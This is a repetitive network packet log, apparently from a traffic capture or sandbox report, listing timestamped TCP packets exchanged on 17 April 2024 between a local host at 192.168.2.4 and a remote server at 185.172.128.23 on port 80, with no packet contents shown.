Apr 17, 2024 06:57:11.093774080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093786955 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093808889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093825102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093844891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093858957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093880892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093915939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093916893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093933105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093954086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.093967915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.093991995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.094018936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.094027042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.094036102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.094060898 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.094078064 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.094113111 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.147979975 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.148006916 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.148024082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.148040056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.148056030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.148072958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.148088932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.148216009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.148216009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.148216009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.148339033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.148403883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.148416042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.148432016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.148447990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.148458958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.148478985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.148504972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150125980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150162935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150196075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150198936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150216103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150234938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150259018 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150270939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150279045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150305986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150321960 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150341988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150362968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150377989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150399923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150413036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150428057 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150449038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150466919 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150484085 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150496006 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150520086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150535107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150556087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150573969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150592089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150604010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150628090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150640965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150665045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150676966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150712967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150826931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150862932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150872946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150899887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150924921 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150935888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150960922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.150973082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.150990009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151009083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151021957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151045084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151057959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151081085 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151093006 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151115894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151130915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151151896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151165962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151187897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151209116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151223898 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151232958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151258945 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151267052 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151293993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151308060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151329994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151344061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151365995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151386023 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151401043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151418924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151437044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151443958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151472092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151487112 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151506901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151529074 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151541948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151571035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151577950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151588917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151612997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151631117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151648045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151664972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151681900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151694059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151716948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151734114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151752949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151772022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151791096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151813984 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151825905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151850939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151860952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151880026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151896954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151921988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151932955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151959896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.151971102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.151978016 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152005911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152023077 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152041912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152059078 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152076960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152098894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152137995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152138948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152174950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152192116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152209997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152226925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152245998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152266979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152285099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152302027 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152318954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152327061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152354002 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152364969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152389050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152403116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152425051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152439117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152461052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152475119 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152497053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152520895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152532101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152542114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152566910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152584076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152602911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.152616024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.152651072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.155534029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.155572891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.155596018 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.155608892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.155613899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.155647993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.155678034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.155713081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.155719995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.155749083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.155757904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.155785084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.155792952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.155819893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.155827999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.155854940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.155864954 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.155889988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.155908108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.155926943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.155945063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.155967951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.155971050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.156008005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.156011105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.156043053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.156054020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.156079054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.156090975 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.156126976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.156889915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.156925917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.156934977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.156965017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.156975031 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.157001019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.157008886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.157036066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.157047033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.157083035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.217457056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.217502117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.217516899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.217531919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.217582941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.217583895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.219191074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.219207048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.219223022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.219235897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.219253063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.219290018 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.219290018 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.220216036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.220252991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.220268965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.220288992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.220293045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.220324039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.220333099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.220366955 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.220812082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.220849037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.220860004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.220885992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.220896959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.220918894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.220931053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.220961094 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.221050024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.221086979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.221098900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.221122026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.221137047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.221155882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.221174002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.221193075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.221621990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.221657991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.221671104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.221693993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.221703053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.221726894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.221741915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.221761942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.221764088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.221796989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.221808910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.221832991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.221842051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.221864939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.221874952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.221909046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.223026991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.223064899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.223078012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.223100901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.223109007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.223133087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.223145008 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.223180056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.223231077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.223267078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.223278999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.223304033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.223309994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.223335028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.223349094 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.223381996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.223706961 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.223742962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.223754883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.223794937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.223804951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.223828077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.223839998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.223862886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.223875046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.223900080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.223913908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.223963022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.224509001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.224556923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.224631071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.224675894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.297602892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.297624111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.297770023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.297791004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.297805071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.297873020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.297873020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.299230099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.299267054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.299285889 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.299302101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.299307108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.299333096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.299345970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.299377918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.300136089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.300172091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.300208092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.300232887 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.300240993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.300251961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.300290108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.301285982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.301321983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.301338911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.301357031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.301362991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.301389933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.301403999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.301433086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.301688910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.301727057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.301742077 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.301764011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.301765919 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.301799059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.301810980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.301836014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.301847935 CEST	49730	80	192.168.2.4	185.172.128.23
